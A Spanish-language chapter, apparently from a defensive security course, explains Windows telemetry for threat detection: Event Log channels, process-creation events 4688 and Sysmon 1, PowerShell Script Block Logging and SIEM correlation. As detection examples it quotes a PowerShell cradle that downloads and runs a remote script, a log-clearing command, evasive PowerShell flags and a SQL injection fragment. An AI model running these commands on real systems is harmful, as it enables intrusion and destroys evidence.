Panorama#

El marco de P5 (5.1) cerró con un principio que este capítulo convierte en infraestructura: no se puede detectar lo que no se registra, ni cazar lo que no se hipotetiza. La detección, la cacería y el forense son operaciones que se ejecutan sobre datos; si esos datos no existen —porque la auditoría estaba apagada, porque el canal que los guardaba no se recolectaba, porque el atacante los borró—, no hay analítica que valga. La telemetría es esa capa de datos, y este capítulo la sistematiza: qué fuentes existen, qué registran, cómo se adquieren y cómo se correlacionan. Todo lo que sigue en la Parte —el movimiento lateral en 5.6, la caza de C2 en 5.7, el análisis de malware en 5.8— consulta las fuentes que aquí se definen.

Dos tensiones gobiernan el diseño. La primera es de cobertura contra ruido: registrar todo lo posible ahoga al SIEM —Security Information and Event Management, la plataforma que centraliza y correlaciona los registros—, dispara los costos y entierra la señal. Por eso la selección se hace guiada por inteligencia, como fijó 5.1: las TTP que se quieren ver deciden qué se ingiere. La segunda es de oportunidad: casi ninguna de estas fuentes viene activada por defecto —el registro de la línea de comandos, el Script Block Logging de PowerShell, el despliegue de Sysmon son todos opcionales—, de modo que habilitarlas es un acto de preparación que ocurre antes del incidente. Una organización que descubre el ataque y recién entonces va a mirar los logs, encuentra que los que importaban nunca se estaban guardando. La telemetría es la fase de preparación del ciclo de respuesta a incidentes (5.4) hecha datos.

Este capítulo se concentra en las tres fuentes de host de Windows que hacen visible la enorme mayoría de la actividad de endpoint —los Event Logs, la ejecución de procesos y PowerShell— y cierra con la correlación multi-fuente que las une con la red. Es deliberadamente el complemento general de la defensa de Active Directory (4.9), que ya desarrolló a fondo el diccionario de Event IDs de autenticación, cuentas y Kerberos del dominio; aquí no se repite ese diccionario, sino que se describe la plataforma de datos sobre la que aquel se apoya y que los capítulos siguientes reutilizan.

flowchart TD
  subgraph HOST["Telemetría de host (Windows)"]
    EL["Windows Event Logs\n(Seguridad · Sistema ·\nAplicación + operativos)"]
    PR["Ejecución de procesos\n4688 + Sysmon 1\n(command line · hashes ·\npadre-hijo)"]
    PS["PowerShell\n4104 script block ·\n4103 module · transcript"]
  end
  subgraph NET["Telemetría de red / perímetro"]
    FW["Firewall · proxy · DNS"]
    APP["IIS / Apache · syslog"]
  end
  EL & PR & PS --> WEF["Reenvío (WEF) +\nadquisición offline\n(EvtxECmd)"]
  WEF --> SIEM["SIEM\n(normaliza · correlaciona ·\nalerta)"]
  FW & APP --> SIEM
  SIEM --> DET["Detección · cacería ·\ninvestigación"]
  classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0;
  classDef s fill:#334155,stroke:#64748b,color:#e2e8f0;
  class EL,PR,PS,FW,APP,WEF,DET n;
  class SIEM s;

La arquitectura de los Windows Event Logs#

Casi todo lo que ocurre en Windows queda registrado en algún Event Log —los registros que Microsoft diseñó originalmente para que los administradores diagnosticaran fallas y que resultaron ser la fuente primaria de evidencia de un incidente—, porque, como resume la fuente, «todo en el entorno de Windows está atado a un proceso de Windows, incluidas las acciones del atacante». La evidencia se reparte en canales según su origen. Los tres clásicos son Seguridad (Security) —el más valioso: autenticación, validación de credenciales, acceso a objetos, creación de procesos, cambios de privilegios—, Sistema (System) —servicios, drivers, cambios del cortafuegos— y Aplicación (Application), que definen los desarrolladores de terceros. Pero la cacería moderna depende tanto o más de canales operativos específicos: los de PowerShell, los de tareas programadas, los del protocolo de escritorio remoto. La primera habilidad del analista es saber que un mismo ataque deja rastro disperso en varios canales y que reconstruir la cadena exige correlacionarlos.

Físicamente, desde Windows Vista los registros se guardan como archivos .evtx en %SystemRoot%\System32\winevt\Logs\. Dos hechos operativos importan. El primero es la escala: una instalación limpia de Windows 11 genera más de 336 archivos de registro distintos, de modo que ingerir todos al SIEM no es viable ni deseable —de vuelta a la selección guiada por TTP—. El segundo es que la ruta de almacenamiento es reconfigurable por un administrador —o por un atacante con privilegios— a través de la clave de registro HKLM\SYSTEM\CurrentControlSet\Services\EventLog\<canal>, un detalle que importa cuando la evidencia no aparece donde se la espera.

La recolección centralizada en el SIEM tiene un punto ciego: depende de un agente que corre en el host, y un atacante con privilegios puede inhabilitarlo, aislar el equipo o —peor— borrar los registros locales (el wevtutil cl / Event ID 1102 «se limpió el registro de auditoría» que se detalla en el forense de 5.4). De ahí dos defensas complementarias. Primera, reenviar los logs fuera del host en tiempo casi realWindows Event Forwarding (WEF) hacia un colector, o el propio agente del SIEM—, de modo que la copia sobreviva al borrado local. Segunda, dominar la adquisición forense offline: extraer los .evtx directamente del disco y procesarlos con herramientas independientes del agente —EvtxECmd de Eric Zimmerman, que convierte los binarios masivamente a CSV/JSON/XML para importarlos; Event Log Explorer para el análisis gráfico; PsLogList para volcarlos en caliente—. Es la capacidad que salva la investigación cuando el adversario ya cegó la telemetría en vivo.

Un detalle metodológico útil para practicar sin un incidente real: el libro construye su laboratorio con HELK (The Hunting ELK, un SIEM de código abierto sobre Elasticsearch) alimentado por el dataset Mordor —eventos de seguridad pregrabados a partir de la simulación documentada de técnicas adversarias, incluidos conjuntos de APT29—, lo que permite estudiar la anatomía de los eventos bajo ataque sin tener que generar la actividad maliciosa a mano.

Ejecución de procesos: 4688 y Sysmon 1#

La fuente más rica para cazar la ejecución de código malicioso es el registro de creación de procesos. El evento nativo es el Event ID 4688, que se dispara cada vez que se instancia un ejecutable y registra campos vitales: el New Process Name (qué se ejecutó), el Creator Process Name (quién lo lanzó) y el Token Elevation Type (con qué nivel). Su complemento imprescindible es el Event ID 1 de SysmonSystem Monitor de Sysinternals—, que enriquece el mismo hecho con campos forenses que 4688 no trae, sobre todo los hashes criptográficos del binario, que permiten cruzar cada ejecución contra listas de IOC conocidos (la base de la pirámide del dolor de 5.1) y elevan la fidelidad del triaje. Desplegar Sysmon con una configuración curada es una de las decisiones de preparación con mejor retorno.

Ahora bien, 4688 y Sysmon 1 tienen un defecto crítico si no se los configura bien: por defecto registran qué binario se ejecutó pero no con qué argumentos. Sin la política de auditoría de línea de comandos (command-line auditing) habilitada, el sistema ve que corrió net.exe pero no ve net group "Domain Admins" /domain —es decir, no distingue el uso legítimo de una utilidad del sistema de su abuso—. Como la línea de comandos «se usa para decirle al proceso qué hacer», sin ella la detección de LOLBins (Living Off the Land Binaries, los binarios legítimos que el atacante abusa para no traer malware propio) es prácticamente imposible. Habilitar la captura del Process Command Line es, junto con Sysmon, la configuración que hace útil todo lo demás.

# Habilitar la auditoría de creación de procesos CON línea de comandos (preparación, vía GPO o local): # Config. equipo → Directivas → Plantillas administrativas → Sistema → Auditoría de creación de procesos # "Incluir línea de comandos en los eventos de creación de procesos" → Habilitado # (equivale a poner ProcessCreationIncludeCmdLine_Enabled=1 en el registro) # Consultar 4688 filtrando por línea de comandos sospechosa (ejemplo de descubrimiento): Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -match 'net(\.exe)?\s+(group|user).+/domain' }

Con la línea de comandos disponible, tres patrones de alta fidelidad se vuelven cazables. El primero es la relación padre-hijo anómala: un proceso que engendra un hijo inesperado, o que tiene un padre inesperado. La firma canónica es una aplicación ofimática que lanza un intérprete —winword.exe o excel.exepowershell.exe / cmd.exe, el rastro típico de una macro maliciosa—, o el w3wp.exe de IIS lanzando cmd.exe (la webshell de 3.5 y la inyección de 3.2 vistas desde el SIEM). También delata la inyección: si svchost.exe —que legítimamente cuelga siempre de services.exe— aparece lanzando una shell, es señal de que fue inyectado (el caso Emotet que la fuente documenta). El segundo patrón es el ocultamiento a plena vista: un binario con nombre legítimo pero ruta equivocada —C:\Windows\svchost.exe en vez del correcto C:\Windows\System32\svchost.exe—, o con el nombre sutilmente alterado (scvhost.exe), o ejecutado desde carpetas Temp y del perfil del usuario, donde el atacante agrupa su arsenal. El tercero es el rastreo del árbol de procesos por identificador: tomando el Process ID de un artefacto malicioso —por ejemplo un protector de pantalla cod.3aka3.scr— y buscándolo iterativamente como Creator Process ID de los eventos siguientes, se reconstruye la línea de tiempo completa: el .scr engendró un cmd.exe, que engendró un powershell.exe. Es la misma telemetría 4688/línea-de-comando que hace ruidosa la escalada de privilegios (3.9) cuando el atacante corre sus herramientas de enumeración.

PowerShell: la fuente que desnuda lo fileless#

PowerShell merece su propio tratamiento porque monopoliza los arsenales modernos —Empire, Nishang, Cobalt Strike— por cuatro razones que lo hacen ideal para el atacante y difícil para el defensor: es omnipresente (está en todo Windows), no deja artefactos tradicionales en disco (ejecuta en memoria), ofrece canales remotos cifrados, y —lo más incómodo— su actividad maliciosa se mezcla con la administración legítima, que también usa PowerShell a diario. Esa es la esencia de la ejecución fileless (sin archivos): el código opera solo en la RAM, sin escribir un ejecutable, de modo que el antivirus tradicional que escanea el disco no ve nada. Contra eso, la telemetría correcta es la única defensa determinista, y por eso este capítulo cierra el hilo fileless que el bloque rojo dejó abierto en la evasión de AV/EDR (3.11).

Los registros de PowerShell viven en dos taxonomías. El canal clásico (Windows PowerShell) trae los Event IDs 400/403 (inicio/fin del motor), 800 (detalle del pipeline) y 500/501 (invocación de comandos). El canal operativo (Microsoft-Windows-PowerShell/Operational) es donde el analista concentra la búsqueda, y su pieza central es el Event ID 4104, el Script Block Logging. Su valor es decisivo: captura el bloque de script ya desofuscado, porque PowerShell registra el texto justo antes de entregarlo a AMSI (Antimalware Scan Interface) para su evaluación. Es decir, por más que el atacante ofusque su código, el 4104 lo guarda en claro —el mismo punto donde la evasión (3.11) pelea por parchear AMSI para cegar precisamente este registro—. El 4103 (Module Logging) complementa registrando la invocación de módulos y variables del pipeline; los 4105/4106 marcan comandos asíncronos; y la Transcription graba la sesión interactiva completa —entradas, salidas y errores— como un testigo textual.

Cuando un script es largo, PowerShell fragmenta el 4104 y advierte «Creating Scriptblock text (1 of N)»; para reconstruir el cuerpo completo hay que reensamblar los eventos que comparten el mismo campo ScriptBlock ID. Antes de la desofuscación, el único pivote estático confiable son los flags de la invocación, que conviene alertar en el 4688/línea-de-comando aunque el resto del comando venga codificado: -EncodedCommand / -enc / -e (carga en Base64), -ExecutionPolicy Bypass / -ep bypass (viola restricciones), -NoProfile / -nop, -WindowStyle Hidden / -w hidden (oculta la ventana), más los alias y funciones IEX (Invoke-Expression), [Convert]::FromBase64String y DownloadString (el cradle que baja la carga remota).

El cradle remoto es el arquetipo que une todo. Una invocación como powershell.exe -ep bypass -nop -noexit -c iex ((New-Object Net.WebClient).DownloadString("http://soctest.xyz/malware.ps1")) descarga un script y lo ejecuta en memoria sin tocar el disco. El evento clásico 800 intercepta el comando base, pero solo el 4104 operativo extrae el contenido real de malware.ps1 que corrió en RAM —la diferencia entre ver que algo se descargó y ver qué hacía—. Este mismo canal es el que delata el stager de un C2 fileless (3.10) como Empire y la lógica de un canal encubierto (3.12) que descarga su carga desde un servicio legítimo.

Correlación multi-fuente: el trabajo del SIEM#

Ninguna de estas fuentes basta sola. La tesis del análisis de logs es que un artefacto malicioso aislado rara vez expone el alcance completo del atacante; solo vinculando cronológicamente eventos de host, red y aplicación se reconstruye la intrusión, «pensando cómo encajan las piezas del rompecabezas». El caso canónico de trazabilidad lo ilustra de punta a punta: un stack buffer overrun (código de excepción c0000409) en el volcado de caída de MicrosoftEdge.exe revela la explotación inicial; los archivos Prefetch muestran una conexión TCP saliente; los registros del cortafuegos confirman el tráfico permitido; y una consulta con Log Parser sobre el campo cs-uri-query del log de IIS descubre el ataque real —una inyección SQL codificada (DECLARE @S NVARCHAR(4000)...EXEC(@S)) que devolvió un sc-status 500—. Cada fuente aportó una pieza; la correlación las volvió una historia.

De ahí dos consecuencias operativas. La primera es que el analista debe conocer el formato crudo, no depender ciegamente del panel del SIEM: la sintaxis de los cortafuegos varía entre fabricantes (Check Point, NetScreen, iptables), pero todos documentan origen, destino, protocolo y resolución, de modo que aprender los campos troncales permite cambiar de proveedor y enfocarse solo en las diferencias. Lo mismo vale para el .evtx de Windows, el syslog de Unix/Linux (donde /var/log/auth.log documenta las aperturas de sesión CRON de root y los sudo apt-get install que delatan el compromiso del host) y los logs de IIS/Apache. La segunda es que la telemetría de red y perímetro —firewall, proxy, DNS— es el otro medio campo de la detección, y es exactamente el que consumen la caza de movimiento lateral (5.6) y la caza de C2 y exfiltración (5.7, 5.9). El SIEM es la plataforma que normaliza esas fuentes heterogéneas a un modelo común, las correlaciona en el tiempo y alerta —la superficie donde la ingeniería de detección de 5.1 escribe sus reglas—.

La telemetría como preparación#

Este capítulo no lleva subsección defensiva separada porque es, en sí mismo, la infraestructura de la defensa; su cierre es una consigna de preparación. Habilitar la auditoría de línea de comandos, el Script Block Logging de PowerShell y el despliegue de Sysmon; reenviar los canales críticos fuera del host con WEF para que sobrevivan al borrado; y —el principio que recorre todo el ciclo de respuesta— establecer una línea base de normalidad, porque «no se puede determinar qué es anómalo si no se sabe qué es normal»: sin saber qué procesos, qué relaciones padre-hijo y qué tráfico saliente son habituales en el entorno, ninguna de estas fuentes distingue el ataque del ruido. Todo esto se decide antes del incidente y guiado por las TTP que se quieren ver, no acumulando datos por acumular. La defensa de Active Directory (4.9) mostró cómo se aplica este diccionario de eventos a un dominio concreto; los capítulos 5.6 a 5.11 lo aplican técnica por técnica. La telemetría es el sustrato: sin ella, el resto de P5 no tiene sobre qué correr.

Referencias#

  • blue-dfir/effective-threat-investigation/cap-03Introduction to Windows Event Logs: la arquitectura de canales, los .evtx en winevt\Logs, la clave de reubicación, la adquisición offline (EvtxECmd/PsLogList/Event Log Explorer) y el laboratorio HELK + dataset Mordor.
  • blue-dfir/effective-threat-investigation/cap-05Investigating Suspicious Process Execution: 4688 y Sysmon 1, la auditoría de línea de comandos, las relaciones padre-hijo anómalas, el ocultamiento a plena vista y el rastreo del árbol de procesos por Creator Process ID.
  • blue-dfir/effective-threat-investigation/cap-06Investigating PowerShell Event Logs: los canales clásico y operativo, el 4104 (Script Block Logging) que desofusca antes de AMSI, Module Logging y Transcription, los flags evasivos y la anatomía del cradle fileless.
  • blue-dfir/attack-defense/cap-16Log Analysis: la correlación multi-fuente, los artefactos más allá de los Event Logs (Prefetch, volcados de caída), los registros de cortafuegos por proveedor, syslog/auth.log de Linux e IIS/Apache con Log Parser, y el log tampering como táctica adversaria.
  • MITRE ATT&CK — T1059.001 (PowerShell) y T1562.001 (Impair Defenses: Disable or Modify Tools), las técnicas que esta telemetría hace visibles y que el atacante intenta cegar.
  • Sysmon (Sysinternals) y configuraciones curadas de referencia (SwiftOnSecurity, Olaf Hartong) como base del despliegue de telemetría de proceso.